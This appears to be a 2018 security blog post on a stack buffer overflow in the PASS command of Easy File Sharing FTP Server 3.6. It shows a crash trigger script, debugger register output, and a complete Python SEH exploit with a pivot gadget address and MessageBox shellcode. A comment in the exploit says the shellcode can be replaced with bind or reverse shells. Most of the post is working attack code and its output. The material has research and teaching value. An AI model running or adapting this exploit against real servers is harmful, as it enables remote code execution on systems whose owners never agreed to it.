Posts /

Easy File Sharing FTP Server 3.6 - Stack Buffer Overflow

Twitter Facebook Google+
18 Sep 2018

Vulnerability Analysis

To trigger the vulnerability, we need to send buffer more than 3000 bytes. Vulnerable part is the PASS input.

  reqftp += "A" * 3000
  ... code cut here ...
  s.send("PASS " + reqftp + "\r\n")

Example trigger overflow:

  import socket, sys

  if len(sys.argv) <= 1:
    print "Usage: poc.py <target_ip> <target_port>"
    exit(1)
  ip = sys.argv[1]
  port = int(sys.argv[2])
  
  reqftp = "\x2c" + "A" * 3000
  reqftp += "\x42"*30

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((ip, port))
  s.recv(1024)
  s.send("USER anonymous\r\n")
  s.recv(1024)
  s.send("PASS " + reqftp + "\r\n")
  s.recv(1024)
  s.close()

However, before sending the buffer to PASS input, we need to escaped a character by using \x2c, example below. Further info, https://www.cleo.com/support/byproduct/lexicom/usersguide/ftp_configuration.htm.

  reqftp = "\x2c" + "A" * 3000

Upon overflowing, it will stop here at this function:

0046C18C  /$ 56             PUSH ESI
0046C18D  |. 57             PUSH EDI
0046C18E  |. 8B7C24 0C      MOV EDI,DWORD PTR SS:[ESP+C]
0046C192  |. 8BF1           MOV ESI,ECX
0046C194  |. 8B0E           MOV ECX,DWORD PTR DS:[ESI]
0046C196  |. 8B07           MOV EAX,DWORD PTR DS:[EDI]
0046C198  |. 3BC8           CMP ECX,EAX
0046C19A  |. 74 39          JE SHORT fsfs.0046C1D5
0046C19C  |. 8379 F4 00     CMP DWORD PTR DS:[ECX-C],0
0046C1A0  |. 7D 0B          JGE SHORT fsfs.0046C1AD
0046C1A2  |. 83C1 F4        ADD ECX,-0C
0046C1A5  |. 3B0D 78A04900  CMP ECX,DWORD PTR DS:[49A078]            ;  fsfs.0049A07C
0046C1AB  |. 75 06          JNZ SHORT fsfs.0046C1B3
0046C1AD  |> 8378 F4 00     CMP DWORD PTR DS:[EAX-C],0    <--- EIP 

Continuing the execution by pressing Shift + F9 (Immunity Debugger) will overwrite the EIP, e.g.

Register
EAX 00000000
ECX 41414141
EDX 777771CD ntdll.777771CD
EBX 00000000
ESP 04279D18
EBP 04279D38
ESI 00000000
EDI 00000000
EIP 41414141

Proof-of-Concept (fully working SEH exploit)

  # Crafted for fun and polishing skillz!
  import sys, socket, struct

  if len(sys.argv) <= 1:
    print "\nEasy File Sharing FTP Server 3.6 Stack Overflow - @zeifan"
    print "\nUsage: poc.py <target_ip> <port>\n"
    exit()
  ip = sys.argv[1]
  port = int(sys.argv[2])  
  
  # Shellcode can be change to any (bind, reverse, etc.)
  # Hello World MessageBoxW Shellcode
  # https://www.exploit-db.com/exploits/37758/
  shellcode = ("\x33\xc9\x64\x8b\x49\x30\x8b\x49\x0c\x8b" +
    "\x49\x1c\x8b\x59\x08\x8b\x41\x20\x8b\x09" +
    "\x80\x78\x0c\x33\x75\xf2\x8b\xeb\x03\x6d" +
    "\x3c\x8b\x6d\x78\x03\xeb\x8b\x45\x20\x03" +
    "\xc3\x33\xd2\x8b\x34\x90\x03\xf3\x42\x81" +
    "\x3e\x47\x65\x74\x50\x75\xf2\x81\x7e\x04" +
    "\x72\x6f\x63\x41\x75\xe9\x8b\x75\x24\x03" +
    "\xf3\x66\x8b\x14\x56\x8b\x75\x1c\x03\xf3" +
    "\x8b\x74\x96\xfc\x03\xf3\x33\xff\x57\x68" +
    "\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68" +
    "\x4c\x6f\x61\x64\x54\x53\xff\xd6\x33\xc9" +
    "\x57\x66\xb9\x33\x32\x51\x68\x75\x73\x65" +
    "\x72\x54\xff\xd0\x57\x68\x6f\x78\x41\x01" +
    "\xfe\x4c\x24\x03\x68\x61\x67\x65\x42\x68" +
    "\x4d\x65\x73\x73\x54\x50\xff\xd6\x57\x68" +
    "\x72\x6c\x64\x21\x68\x6f\x20\x57\x6f\x68" +
    "\x48\x65\x6c\x6c\x8b\xcc\x57\x57\x51\x57" +
    "\xff\xd0\x57\x68\x65\x73\x73\x01\xfe\x4c" +
    "\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78" +
    "\x69\x74\x54\x53\xff\xd6\x57\xff\xd0"
  )

  # Escaped character + Buffer 
  reqftp = "\x2c" + "\x41" * 2559

  # 16 bytes SEH
  reqftp += "\xeb\x10\x90\x90"  
  
  # 0x100182d3 : {pivot 8 / 0x08}
  # POP EBP 
  # MOV EAX,1 
  # POP EBX 
  # RETN
  reqftp += struct.pack("<I", 0x100182d3) 
  reqftp += "\x42" * 100
  reqftp += shellcode

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((ip, port))
  print "\nMessageBox will pop up!"
  s.recv(1024)
  s.send("USER anonymous\r\n")
  s.recv(1024)
  s.send("PASS " + reqftp + "\r\n")
  s.recv(1024)
  s.close()

This type of exploit can be crafted within hour


Twitter Facebook Google+